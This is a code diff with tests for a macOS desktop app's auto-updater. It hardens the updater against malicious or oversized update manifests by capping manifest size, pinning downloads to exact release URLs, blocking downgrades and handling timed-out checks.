|
||||
canSelfUpdate: () => capability,
|
||||
platform: 'darwin',
|
||||
})
|
||||
|
||||
handle.check()
|
||||
@@ -262,6 +343,9 @@ describe('initUpdater state machine', () => {
|
||||
|
||||
it('resets to idle when a downloaded update is a blocked downgrade', async () => {
|
||||
const { handle } = await createUpdater()
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
emit('update-available', { version: '2.0.0' })
|
||||
emit('update-downloaded', { version: '0.0.1' })
|
||||
expect(handle.getState()).toEqual({ status: 'idle' })
|
||||
handle.install()
|
||||
@@ -272,6 +356,8 @@ describe('initUpdater state machine', () => {
|
||||
const { handle } = await createUpdater()
|
||||
|
||||
for (const version of ['1.0.0', '0.9.9', 'nightly', '2.0.0-dev.1']) {
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
emit('update-available', { version })
|
||||
expect(handle.getState()).toEqual({ status: 'idle' })
|
||||
}
|
||||
@@ -281,8 +367,12 @@ describe('initUpdater state machine', () => {
|
||||
|
||||
it('surfaces updater errors and recovers via update-not-available', async () => {
|
||||
const { handle } = await createUpdater()
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
emit('error', new Error('feed unreachable'))
|
||||
expect(handle.getState()).toEqual({ status: 'error' })
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
emit('update-not-available')
|
||||
expect(handle.getState()).toEqual({ status: 'idle' })
|
||||
})
|
||||
@@ -297,6 +387,48 @@ describe('initUpdater state machine', () => {
|
||||
channel: 'latest',
|
||||
})
|
||||
expect(autoUpdaterMock.channel).toBe('latest')
|
||||
expect(autoUpdaterMock.allowDowngrade).toBe(false)
|
||||
})
|
||||
|
||||
it('accepts only exact repository, tag, and artifact URLs from an origin feed', async () => {
|
||||
const { handle } = await createUpdater({ feedAvailable: true })
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
|
||||
emit('update-available', {
|
||||
version: '2.0.0',
|
||||
files: [
|
||||
{
|
||||
url: 'https://github.com/simstudioai/sim/releases/download/v2.0.0/Sim-2.0.0-universal.zip',
|
||||
sha512: 'checksum',
|
||||
},
|
||||
],
|
||||
})
|
||||
|
||||
expect(handle.getState()).toEqual({ status: 'downloading', version: '2.0.0' })
|
||||
})
|
||||
|
||||
it('blocks an origin manifest that points at an unexpected release artifact', async () => {
|
||||
const { handle } = await createUpdater({ feedAvailable: true })
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
|
||||
emit('update-available', {
|
||||
version: '2.0.0',
|
||||
files: [
|
||||
{
|
||||
url: 'https://github.com/simstudioai/sim/releases/download/v1.9.9/unreviewed.dmg',
|
||||
sha512: 'checksum',
|
||||
},
|
||||
],
|
||||
})
|
||||
|
||||
expect(handle.getState()).toEqual({ status: 'idle' })
|
||||
expect(autoUpdaterMock.autoInstallOnAppQuit).toBe(false)
|
||||
expect(events.record).toHaveBeenCalledWith('update_blocked_version', {
|
||||
version: '2.0.0',
|
||||
reason: 'unusable-url',
|
||||
})
|
||||
})
|
||||
|
||||
it('keeps the packaged GitHub feed when the origin has no feed', async () => {
|
||||
@@ -347,6 +479,92 @@ describe('initUpdater state machine', () => {
|
||||
expect(autoUpdaterMock.checkForUpdates).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('ignores a feed probe that resolves after its timeout generation', async () => {
|
||||
let resolveProbe: ((available: boolean) => void) | undefined
|
||||
const probeOriginFeed = vi.fn(
|
||||
() =>
|
||||
new Promise<boolean>((resolve) => {
|
||||
resolveProbe = resolve
|
||||
})
|
||||
)
|
||||
const { handle } = await createUpdater({ probeOriginFeed })
|
||||
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(10_000)
|
||||
resolveProbe?.(true)
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
|
||||
expect(handle.getState()).toEqual({ status: 'error' })
|
||||
expect(autoUpdaterMock.setFeedURL).not.toHaveBeenCalled()
|
||||
expect(autoUpdaterMock.checkForUpdates).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('gives the updater request a fresh timeout after a slow feed probe', async () => {
|
||||
let resolveProbe: ((available: boolean) => void) | undefined
|
||||
const probeOriginFeed = vi.fn(
|
||||
() =>
|
||||
new Promise<boolean>((resolve) => {
|
||||
resolveProbe = resolve
|
||||
})
|
||||
)
|
||||
const { handle } = await createUpdater({ probeOriginFeed })
|
||||
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(9_000)
|
||||
resolveProbe?.(true)
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
await vi.advanceTimersByTimeAsync(9_999)
|
||||
expect(handle.getState()).toEqual({ status: 'checking' })
|
||||
|
||||
await vi.advanceTimersByTimeAsync(1)
|
||||
expect(handle.getState()).toEqual({ status: 'error' })
|
||||
})
|
||||
|
||||
it('waits for a timed-out updater request to settle before retrying', async () => {
|
||||
let resolveRequest: ((result: null) => void) | undefined
|
||||
autoUpdaterMock.checkForUpdates.mockImplementationOnce(
|
||||
() =>
|
||||
new Promise<null>((resolve) => {
|
||||
resolveRequest = resolve
|
||||
})
|
||||
)
|
||||
const { handle } = await createUpdater({ feedAvailable: true })
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(10_000)
|
||||
expect(handle.getState()).toEqual({ status: 'error' })
|
||||
|
||||
emit('update-available', { version: '2.0.0' })
|
||||
emit('update-not-available')
|
||||
expect(handle.getState()).toEqual({ status: 'error' })
|
||||
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
expect(autoUpdaterMock.checkForUpdates).toHaveBeenCalledTimes(1)
|
||||
|
||||
resolveRequest?.(null)
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
expect(autoUpdaterMock.checkForUpdates).toHaveBeenCalledTimes(2)
|
||||
})
|
||||
|
||||
it('does not initialize the updater outside macOS', () => {
|
||||
const loadAutoUpdater = vi.fn(
|
||||
() => autoUpdaterMock as unknown as typeof import('electron-updater')['autoUpdater']
|
||||
)
|
||||
const handle = initUpdater({
|
||||
getWindow: () => null,
|
||||
events,
|
||||
appOrigin: () => 'https://sim.ai',
|
||||
loadAutoUpdater,
|
||||
platform: 'win32',
|
||||
})
|
||||
|
||||
handle.check()
|
||||
expect(loadAutoUpdater).not.toHaveBeenCalled()
|
||||
expect(handle.getState()).toEqual({ status: 'idle' })
|
||||
})
|
||||
|
||||
it('fails interactive checks promptly on prerelease builds when the origin feed is down', async () => {
|
||||
// The GitHub fallback is stable-only: a Sim Dev shell can never apply a
|
||||
// prod-identity artifact, so it must not check against it.
|
||||
@@ -391,15 +609,53 @@ describe('initUpdater state machine', () => {
|
||||
})
|
||||
})
|
||||
|
||||
describe('readUpdateManifest', () => {
|
||||
it('streams a manifest within the byte limit', async () => {
|
||||
const response = new Response(
|
||||
new ReadableStream<Uint8Array>({
|
||||
start(controller) {
|
||||
controller.enqueue(new TextEncoder().encode('version: '))
|
||||
controller.enqueue(new TextEncoder().encode('1.2.3'))
|
||||
controller.close()
|
||||
},
|
||||
}),
|
||||
{ status: 200 }
|
||||
)
|
||||
|
||||
await expect(readUpdateManifest(response)).resolves.toBe('version: 1.2.3')
|
||||
})
|
||||
|
||||
it('rejects a manifest whose declared size exceeds the limit before reading', async () => {
|
||||
const response = new Response('small body', {
|
||||
status: 200,
|
||||
headers: { 'content-length': String(256 * 1024 + 1) },
|
||||
})
|
||||
|
||||
await expect(readUpdateManifest(response)).rejects.toThrow('size limit')
|
||||
})
|
||||
|
||||
it('stops a streamed manifest once its body exceeds the limit', async () => {
|
||||
const response = new Response(new Uint8Array(256 * 1024 + 1), { status: 200 })
|
||||
|
||||
await expect(readUpdateManifest(response)).rejects.toThrow('size limit')
|
||||
})
|
||||
|
||||
it('does not read an unsuccessful response body', async () => {
|
||||
const response = new Response('not found', { status: 404 })
|
||||
|
||||
await expect(readUpdateManifest(response)).resolves.toBeNull()
|
||||
})
|
||||
})
|
||||
|
||||
function manifest(version: string, repository = 'simstudioai/sim'): string {
|
||||
return [
|
||||
`version: ${version}`,
|
||||
'files:',
|
||||
` - url: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal-mac.zip`,
|
||||
` - url: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal.zip`,
|
||||
' sha512: abc',
|
||||
` - url: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal.dmg`,
|
||||
' sha512: def',
|
||||
`path: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal-mac.zip`,
|
||||
`path: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal.zip`,
|
||||
"releaseDate: '2026-07-23T00:00:00.000Z'",
|
||||
].join('\n')
|
||||
}
|
||||
@@ -416,6 +672,7 @@ describe('initUpdater manual mode (no Developer ID signature)', () => {
|
||||
onStateChange: (state) => states.push(state),
|
||||
canSelfUpdate: async () => false,
|
||||
fetchManifest,
|
||||
platform: 'darwin',
|
||||
})
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
return { handle, states }
|
||||
@@ -454,23 +711,81 @@ describe('initUpdater manual mode (no Developer ID signature)', () => {
|
||||
})
|
||||
|
||||
it('offers prerelease-repository assets as manual downloads', async () => {
|
||||
vi.mocked(app.getVersion).mockReturnValue('1.0.0-dev.1')
|
||||
const fetchManifest = vi.fn(async () =>
|
||||
manifest('9.9.9-dev.1', 'simstudioai/sim-desktop-releases')
|
||||
)
|
||||
const { handle } = await createManualUpdater(fetchManifest)
|
||||
try {
|
||||
const { handle } = await createManualUpdater(fetchManifest)
|
||||
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
expect(handle.getState()).toEqual({
|
||||
status: 'available',
|
||||
version: '9.9.9-dev.1',
|
||||
manual: true,
|
||||
})
|
||||
|
||||
handle.check()
|
||||
expect(shell.openExternal).toHaveBeenCalledWith(
|
||||
'https://github.com/simstudioai/sim-desktop-releases/releases/download/v9.9.9-dev.1/Sim-9.9.9-dev.1-universal.dmg'
|
||||
)
|
||||
} finally {
|
||||
vi.mocked(app.getVersion).mockReturnValue('1.0.0')
|
||||
}
|
||||
})
|
||||
|
||||
it('rejects a newer version from another update channel', async () => {
|
||||
const { handle } = await createManualUpdater(async () =>
|
||||
manifest('9.9.9-dev.1', 'simstudioai/sim-desktop-releases')
|
||||
)
|
||||
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
expect(handle.getState()).toEqual({
|
||||
status: 'available',
|
||||
version: '9.9.9-dev.1',
|
||||
manual: true,
|
||||
})
|
||||
|
||||
expect(handle.getState()).toEqual({ status: 'idle', manual: true })
|
||||
expect(shell.openExternal).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('rejects an allowed repository asset under a different release tag', async () => {
|
||||
const mismatchedTag = manifest('9.9.9').replaceAll('/v9.9.9/', '/v9.9.8/')
|
||||
const { handle } = await createManualUpdater(async () => mismatchedTag)
|
||||
|
||||
handle.check()
|
||||
expect(shell.openExternal).toHaveBeenCalledWith(
|
||||
'https://github.com/simstudioai/sim-desktop-releases/releases/download/v9.9.9-dev.1/Sim-9.9.9-dev.1-universal.dmg'
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
|
||||
expect(handle.getState()).toMatchObject({ status: 'error', manual: true })
|
||||
expect(shell.openExternal).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('rejects unexpected asset names on the expected release', async () => {
|
||||
const unexpectedName = manifest('9.9.9').replaceAll('Sim-9.9.9-universal', 'unreviewed-payload')
|
||||
const { handle } = await createManualUpdater(async () => unexpectedName)
|
||||
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
|
||||
expect(handle.getState()).toMatchObject({ status: 'error', manual: true })
|
||||
expect(shell.openExternal).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('ignores a manifest that arrives after the manual check timeout', async () => {
|
||||
let resolveManifest: ((manifestBody: string) => void) | undefined
|
||||
const { handle } = await createManualUpdater(
|
||||
() =>
|
||||
new Promise<string>((resolve) => {
|
||||
resolveManifest = resolve
|
||||
})
|
||||
)
|
||||
|
||||
handle.check()
|
||||
await vi.advanceTimersByTimeAsync(10_000)
|
||||
expect(handle.getState()).toEqual({ status: 'error', manual: true })
|
||||
|
||||
resolveManifest?.(manifest('9.9.9'))
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
expect(handle.getState()).toEqual({ status: 'error', manual: true })
|
||||
expect(shell.openExternal).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('refuses a manifest whose download urls are not http(s)', async () => {
|
||||
@@ -596,6 +911,7 @@ describe('checkForUpdatesInteractive', () => {
|
||||
appOrigin: () => 'https://www.dev.sim.ai',
|
||||
canSelfUpdate: async () => false,
|
||||
fetchManifest: async () => manifest(version),
|
||||
platform: 'darwin',
|
||||
})
|
||||
await vi.advanceTimersByTimeAsync(0)
|
||||
return handle
|
||||
|
||||
@@ -15,9 +15,43 @@ const STABLE_CHECK_INTERVAL_MS = 30 * 60 * 1000
|
||||
const UPDATE_CHECK_TIMEOUT_MS = 10_000
|
||||
const INTERACTIVE_FEEDBACK_TIMEOUT_MS = 12_000
|
||||
const FEED_STATUS_HEADER = 'x-sim-desktop-update-feed'
|
||||
const MAX_UPDATE_MANIFEST_BYTES = 256 * 1024
|
||||
|
||||
export type UpdateChannel = 'latest' | 'staging' | 'dev'
|
||||
|
||||
/** Reads a small updater manifest without allowing an origin to fill main-process memory. */
|
||||
export async function readUpdateManifest(response: Response): Promise<string | null> {
|
||||
if (!response.ok) return null
|
||||
const declaredLength = response.headers.get('content-length')
|
||||
if (declaredLength !== null) {
|
||||
const bytes = Number(declaredLength)
|
||||
if (!Number.isSafeInteger(bytes) || bytes < 0 || bytes > MAX_UPDATE_MANIFEST_BYTES) {
|
||||
throw new Error('Update manifest exceeded the size limit')
|
||||
}
|
||||
}
|
||||
|
||||
if (!response.body) return ''
|
||||
const reader = response.body.getReader()
|
||||
const decoder = new TextDecoder()
|
||||
let bytesRead = 0
|
||||
let manifest = ''
|
||||
try {
|
||||
while (true) {
|
||||
const { done, value } = await reader.read()
|
||||
if (done) break
|
||||
bytesRead += value.byteLength
|
||||
if (bytesRead > MAX_UPDATE_MANIFEST_BYTES) {
|
||||
await reader.cancel()
|
||||
throw new Error('Update manifest exceeded the size limit')
|
||||
}
|
||||
manifest += decoder.decode(value, { stream: true })
|
||||
}
|
||||
return manifest + decoder.decode()
|
||||
} finally {
|
||||
reader.releaseLock()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* The per-environment update feed served by the Sim deployment this shell is
|
||||
* pointed at (`/api/desktop/update/latest-mac.yml`). Each environment pins
|
||||
@@ -39,26 +73,37 @@ export function feedUrlForOrigin(origin: string): string | null {
|
||||
|
||||
/**
|
||||
* Where the feed rewrites every manifest entry to. Downloads are constrained to
|
||||
* this prefix rather than to https alone, so a feed that serves an attacker's
|
||||
* host cannot get a bundle in front of the user's Download button.
|
||||
* the running channel's repository, the manifest version's tag, and the exact
|
||||
* artifact names produced by the release workflow.
|
||||
*/
|
||||
const RELEASE_ASSET_ORIGIN = 'https://github.com'
|
||||
const RELEASE_ASSET_PATHS = [
|
||||
'/simstudioai/sim/releases/download/',
|
||||
'/simstudioai/sim-desktop-releases/releases/download/',
|
||||
] as const
|
||||
const RELEASE_REPOSITORIES: Record<UpdateChannel, string> = {
|
||||
latest: 'simstudioai/sim',
|
||||
staging: 'simstudioai/sim-desktop-releases',
|
||||
dev: 'simstudioai/sim-desktop-releases',
|
||||
}
|
||||
|
||||
/** Whether a manifest url is one of our own release assets. */
|
||||
function isReleaseAssetUrl(rawUrl: string): boolean {
|
||||
function isReleaseAssetUrl(rawUrl: string, version: string, channel: UpdateChannel): boolean {
|
||||
if (!isSafeExternalUrl(rawUrl)) return false
|
||||
try {
|
||||
const url = new URL(rawUrl)
|
||||
// Compared on the parsed origin and the parsed pathname, never by prefix on
|
||||
// the raw string: `https://github.com.evil.example/…` must not pass, and
|
||||
// `URL` has already normalized away any `..` segments by this point.
|
||||
const normalizedVersion = version.replace(/^v/, '')
|
||||
const repository = RELEASE_REPOSITORIES[channel]
|
||||
const releasePath = `/${repository}/releases/download/v${normalizedVersion}/`
|
||||
const assetName = decodeURIComponent(url.pathname.slice(releasePath.length))
|
||||
const expectedAssetNames = new Set([
|
||||
`Sim-${normalizedVersion}-universal.dmg`,
|
||||
`Sim-${normalizedVersion}-universal.zip`,
|
||||
])
|
||||
return (
|
||||
url.origin === RELEASE_ASSET_ORIGIN &&
|
||||
RELEASE_ASSET_PATHS.some((path) => url.pathname.startsWith(path))
|
||||
url.username === '' &&
|
||||
url.password === '' &&
|
||||
url.search === '' &&
|
||||
url.hash === '' &&
|
||||
url.pathname.startsWith(releasePath) &&
|
||||
!assetName.includes('/') &&
|
||||
expectedAssetNames.has(assetName)
|
||||
)
|
||||
} catch {
|
||||
return false
|
||||
@@ -200,6 +245,10 @@ export interface UpdaterDeps {
|
||||
canSelfUpdate?: () => Promise<boolean>
|
||||
/** Test seam: overrides the manual-mode manifest fetch (body or null). */
|
||||
fetchManifest?: (url: string) => Promise<string | null>
|
||||
/** Test seam for the macOS-only updater gate. */
|
||||
platform?: NodeJS.Platform
|
||||
/** Flushes desktop-owned state before Squirrel terminates the process. */
|
||||
beforeInstall?: () => Promise<void>
|
||||
}
|
||||
|
||||
export interface UpdaterHandle {
|
||||
@@ -237,7 +286,7 @@ export function isNewerVersion(candidateVersion: string, currentVersion: string)
|
||||
}
|
||||
|
||||
/** A signed shell may only install a strictly newer build from its own environment stream. */
|
||||
function isValidAutomaticUpdate(candidateVersion: string, currentVersion: string): boolean {
|
||||
function isValidUpdateCandidate(candidateVersion: string, currentVersion: string): boolean {
|
||||
return (
|
||||
resolveUpdateChannel(candidateVersion) === resolveUpdateChannel(currentVersion) &&
|
||||
isNewerVersion(candidateVersion, currentVersion)
|
||||
@@ -300,6 +349,9 @@ interface UpdateEngine {
|
||||
* download link, so the whole pipeline is testable before signing exists.
|
||||
*/
|
||||
export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
|
||||
if ((deps.platform ?? process.platform) !== 'darwin') {
|
||||
return NOOP_UPDATER_HANDLE
|
||||
}
|
||||
if (!app.isPackaged && !deps.loadAutoUpdater && !deps.canSelfUpdate) {
|
||||
return NOOP_UPDATER_HANDLE
|
||||
}
|
||||
@@ -327,8 +379,11 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
|
||||
return null
|
||||
}
|
||||
|
||||
autoUpdater.channel = resolveUpdateChannel(currentVersion)
|
||||
autoUpdater.allowDowngrade = false
|
||||
const setChannelWithoutDowngrades = (channel: UpdateChannel) => {
|
||||
autoUpdater.channel = channel
|
||||
autoUpdater.allowDowngrade = false
|
||||
}
|
||||
setChannelWithoutDowngrades(resolveUpdateChannel(currentVersion))
|
||||
autoUpdater.autoDownload = deps.autoDownload?.() ?? true
|
||||
// Explicit Update actions must reopen Sim after Squirrel swaps the bundle.
|
||||
autoUpdater.autoRunAppAfterInstall = true
|
||||
@@ -338,40 +393,91 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
|
||||
// silently installed on quit.
|
||||
autoUpdater.autoInstallOnAppQuit = false
|
||||
autoUpdater.logger = null
|
||||
let installInFlight = false
|
||||
|
||||
let activeCheckId: number | null = null
|
||||
let nextCheckId = 0
|
||||
let checkTimeout: ReturnType<typeof setTimeout> | null = null
|
||||
const finishCheck = () => {
|
||||
activeCheckId = null
|
||||
if (checkTimeout !== null) {
|
||||
clearTimeout(checkTimeout)
|
||||
checkTimeout = null
|
||||
const quitAndInstall = () => {
|
||||
if (installInFlight) return
|
||||
if (!deps.beforeInstall) {
|
||||
autoUpdater.quitAndInstall()
|
||||
return
|
||||
}
|
||||
installInFlight = true
|
||||
void Promise.resolve()
|
||||
.then(() => deps.beforeInstall?.())
|
||||
.then(() => autoUpdater.quitAndInstall())
|
||||
.catch((error) => {
|
||||
autoUpdater.autoInstallOnAppQuit = false
|
||||
installInFlight = false
|
||||
logger.error('Pre-install teardown failed', {
|
||||
message: getErrorMessage(error, 'unknown'),
|
||||
})
|
||||
deps.events.record('update_error', { message: 'Pre-install teardown failed' })
|
||||
setState({ status: 'error', version: state.version })
|
||||
})
|
||||
}
|
||||
|
||||
let activeProbeId: number | null = null
|
||||
let nextProbeId = 0
|
||||
let probeTimeout: ReturnType<typeof setTimeout> | null = null
|
||||
let activeUpdaterCheckId: number | null = null
|
||||
let nextUpdaterCheckId = 0
|
||||
let updaterCheckTimeout: ReturnType<typeof setTimeout> | null = null
|
||||
let updaterRequestId: number | null = null
|
||||
let acceptedUpdateVersion: string | null = null
|
||||
|
||||
const finishProbe = (probeId: number) => {
|
||||
if (activeProbeId !== probeId) return
|
||||
activeProbeId = null
|
||||
if (probeTimeout !== null) {
|
||||
clearTimeout(probeTimeout)
|
||||
probeTimeout = null
|
||||
}
|
||||
}
|
||||
const finishUpdaterCheck = (checkId: number) => {
|
||||
if (activeUpdaterCheckId !== checkId) return
|
||||
activeUpdaterCheckId = null
|
||||
if (updaterCheckTimeout !== null) {
|
||||
clearTimeout(updaterCheckTimeout)
|
||||
updaterCheckTimeout = null
|
||||
}
|
||||
}
|
||||
|
||||
autoUpdater.on('checking-for-update', () => {
|
||||
if (activeUpdaterCheckId === null) return
|
||||
setState({ status: 'checking' })
|
||||
})
|
||||
|
||||
autoUpdater.on('update-not-available', () => {
|
||||
finishCheck()
|
||||
const checkId = activeUpdaterCheckId
|
||||
if (checkId === null) return
|
||||
finishUpdaterCheck(checkId)
|
||||
if (updaterRequestId === checkId) updaterRequestId = null
|
||||
installAfterDownload = false
|
||||
setState({ status: 'idle' })
|
||||
})
|
||||
|
||||
autoUpdater.on('update-available', (info) => {
|
||||
finishCheck()
|
||||
if (!isValidAutomaticUpdate(info.version, currentVersion)) {
|
||||
const checkId = activeUpdaterCheckId
|
||||
if (checkId === null) return
|
||||
finishUpdaterCheck(checkId)
|
||||
if (updaterRequestId === checkId) updaterRequestId = null
|
||||
const channel = resolveUpdateChannel(currentVersion)
|
||||
const validOriginAssets =
|
||||
!originFeedConfigured ||
|
||||
(info.files.length > 0 &&
|
||||
info.files.every((file) => isReleaseAssetUrl(file.url, info.version, channel)))
|
||||
if (!isValidUpdateCandidate(info.version, currentVersion) || !validOriginAssets) {
|
||||
acceptedUpdateVersion = null
|
||||
installAfterDownload = false
|
||||
autoUpdater.autoInstallOnAppQuit = false
|
||||
deps.events.record('update_blocked_version', {
|
||||
version: info.version,
|
||||
reason: 'not-newer',
|
||||
reason: validOriginAssets ? 'not-newer' : 'unusable-url',
|
||||
})
|
||||
setState({ status: 'idle' })
|
||||
return
|
||||
}
|
||||
acceptedUpdateVersion = info.version
|
||||
deps.events.record('update_check', { available: info.version })
|
||||
// With auto-download on, download-progress events follow immediately;
|
||||
// `available` is the terminal state only when downloads are manual.
|
||||
@@ -382,6 +488,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
|
||||
})
|
||||
|
||||
autoUpdater.on('download-progress', (progress) => {
|
||||
if (state.status !== 'downloading') return
|
||||
setState({
|
||||
status: 'downloading',
|
||||
version: state.version,
|
||||
@@ -390,24 +497,36 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
|
||||
})
|
||||
|
||||
autoUpdater.on('update-downloaded', (info) => {
|
||||
if (!isValidAutomaticUpdate(info.version, currentVersion)) {
|
||||
if (state.status !== 'downloading' && !installAfterDownload) return
|
||||
if (
|
||||
acceptedUpdateVersion !== info.version ||
|
||||
!isValidUpdateCandidate(info.version, currentVersion)
|
||||
) {
|
||||
acceptedUpdateVersion = null
|
||||
installAfterDownload = false
|
||||
autoUpdater.autoInstallOnAppQuit = false
|
||||
deps.events.record('update_blocked_version', { version: info.version })
|
||||
setState({ status: 'idle' })
|
||||
return
|
||||
}
|
||||
acceptedUpdateVersion = null
|
||||
autoUpdater.autoInstallOnAppQuit = true
|
||||
deps.events.record('update_downloaded', { version: info.version })
|
||||
setState({ status: 'ready', version: info.version })
|
||||
if (installAfterDownload) {
|
||||
installAfterDownload = false
|
||||
autoUpdater.quitAndInstall()
|
||||
quitAndInstall()
|
||||
}
|
||||
})
|
||||
|
||||
autoUpdater.on('error', (error) => {
|
||||
finishCheck()
|
||||
const checkId = activeUpdaterCheckId
|
||||
if (checkId !== null) {
|
||||
finishUpdaterCheck(checkId)
|
||||
if (updaterRequestId === checkId) updaterRequestId = null
|
||||
} else if (state.status !== 'downloading') {
|
||||
return
|
||||
}
|
||||
installAfterDownload = false
|
||||
deps.events.record('update_error', { message: getErrorMessage(error, 'unknown') })
|
||||
setState({ status: 'error', version: state.version })
|
||||
@@ -438,8 +557,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
|
||||
})
|
||||
type FeedResolution = 'origin' | 'fallback' | 'no-release' | 'skip'
|
||||
let originFeedConfigured = false
|
||||
let feedProbeInFlight: Promise<FeedResolution> | null = null
|
||||
const resolveFeedForCheck = async (): Promise<FeedResolution> => {
|
||||
const resolveFeedForCheck = async (probeId: number): Promise<FeedResolution> => {
|
||||
if (originFeedConfigured) return 'origin'
|
||||
const feedUrl = feedUrlForOrigin(deps.appOrigin())
|
||||
const stableBuild = resolveUpdateChannel(currentVersion) === 'latest'
|
||||
@@ -454,8 +572,9 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
|
||||
if (!availability) {
|
||||
throw new Error('feed responded non-OK')
|
||||
}
|
||||
if (activeProbeId !== probeId) return 'skip'
|
||||
autoUpdater.setFeedURL({ provider: 'generic', url: feedUrl, channel: 'latest' })
|
||||
autoUpdater.channel = 'latest'
|
||||
setChannelWithoutDowngrades('latest')
|
||||
originFeedConfigured = true
|
||||
deps.events.record('update_feed', { url: feedUrl })
|
||||
return 'origin'
|
||||
@@ -469,64 +588,79 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle {
|
||||
return stableBuild ? 'fallback' : 'skip'
|
||||
}
|
||||
}
|
||||
const feedForCheck = (): Promise<FeedResolution> => {
|
||||
if (originFeedConfigured) return Promise.resolve('origin')
|
||||
if (feedProbeInFlight) return feedProbeInFlight
|
||||
feedProbeInFlight = resolveFeedForCheck().finally(() => {
|
||||
feedProbeInFlight = null
|
||||
})
|
||||
return feedProbeInFlight
|
||||
const startUpdaterCheck = (interactive: boolean) => {
|
||||
if (updaterRequestId !== null) {
|
||||
if (interactive) setState({ status: 'error' })
|
||||
return
|
||||
}
|
||||
const checkId = ++nextUpdaterCheckId
|
||||
activeUpdaterCheckId = checkId
|
||||
updaterRequestId = checkId
|
||||
updaterCheckTimeout = setTimeout(() => {
|
||||
if (activeUpdaterCheckId !== checkId) return
|
||||
finishUpdaterCheck(checkId)
|
||||
deps.events.record('update_error', { message: 'Update check timed out' })
|
||||
if (state.status === 'checking') setState({ status: 'error' })
|
||||
}, UPDATE_CHECK_TIMEOUT_MS)
|
||||
autoUpdater
|
||||
.checkForUpdates()
|
||||
.then(() => {
|
||||
if (updaterRequestId === checkId) updaterRequestId = null
|
||||
if (activeUpdaterCheckId !== checkId) return
|
||||
finishUpdaterCheck(checkId)
|
||||
if (interactive && state.status === 'checking') setState({ status: 'error' })
|
||||
})
|
||||
.catch((error) => {
|
||||
if (updaterRequestId === checkId) updaterRequestId = null
|
||||
if (activeUpdaterCheckId !== checkId) return
|
||||
finishUpdaterCheck(checkId)
|
||||
logger.warn('Update check failed', { message: getErrorMessage(error, 'unknown') })
|
||||
if (state.status === 'checking') setState({ status: 'error' })
|
||||
})
|
||||
}
|
||||
|
||||
return {
|
||||
check(interactive = false) {
|
||||
if (
|
||||
activeCheckId !== null ||
|
||||
activeProbeId !== null ||
|
||||
activeUpdaterCheckId !== null ||
|
||||
state.status === 'available' ||
|
||||
state.status === 'downloading' ||
|
||||
state.status === 'ready'
|
||||
) {
|
||||
return
|
||||
}
|
||||
const checkId = ++nextCheckId
|
||||
activeCheckId = checkId
|
||||
if (interactive) {
|
||||
setState({ status: 'checking' })
|
||||
}
|
||||
checkTimeout = setTimeout(() => {
|
||||
if (activeCheckId !== checkId) return
|
||||
finishCheck()
|
||||
deps.events.record('update_error', { message: 'Update check timed out' })
|
||||
if (originFeedConfigured) {
|
||||
startUpdaterCheck(interactive)
|
||||
return
|
||||
}
|
||||
const probeId = ++nextProbeId
|
||||
activeProbeId = probeId
|
||||
probeTimeout = setTimeout(() => {
|
||||
if (activeProbeId !== probeId) return
|
||||
finishProbe(probeId)
|
||||
deps.events.record('update_error', { message: 'Update feed probe timed out' })
|
||||
if (state.status === 'checking') setState({ status: 'error' })
|
||||
}, UPDATE_CHECK_TIMEOUT_MS)
|
||||
void feedForCheck().then((feed) => {
|
||||
if (activeCheckId !== checkId) return
|
||||
void resolveFeedForCheck(probeId).then((feed) => {
|
||||
if (activeProbeId !== probeId) return
|
||||
finishProbe(probeId)
|
||||
if (feed === 'no-release') {
|
||||
finishCheck()
|
||||
if (interactive && state.status === 'checking') setState({ status: 'idle' })
|
||||
return
|
||||
}
|
||||
if (feed === 'skip') {
|
||||
finishCheck()
|
||||
if (interactive && state.status === 'checking') setState({ status: 'error' })
|
||||
return
|
||||
}
|
||||
autoUpdater
|
||||
.checkForUpdates()
|
||||
.then(() => {
|
||||
if (activeCheckId !== checkId) return
|
||||
finishCheck()
|
||||
if (interactive && state.status === 'checking') setState({ status: 'error' })
|
||||
})
|
||||
.catch((error) => {
|
||||
if (activeCheckId !== checkId) return
|
||||
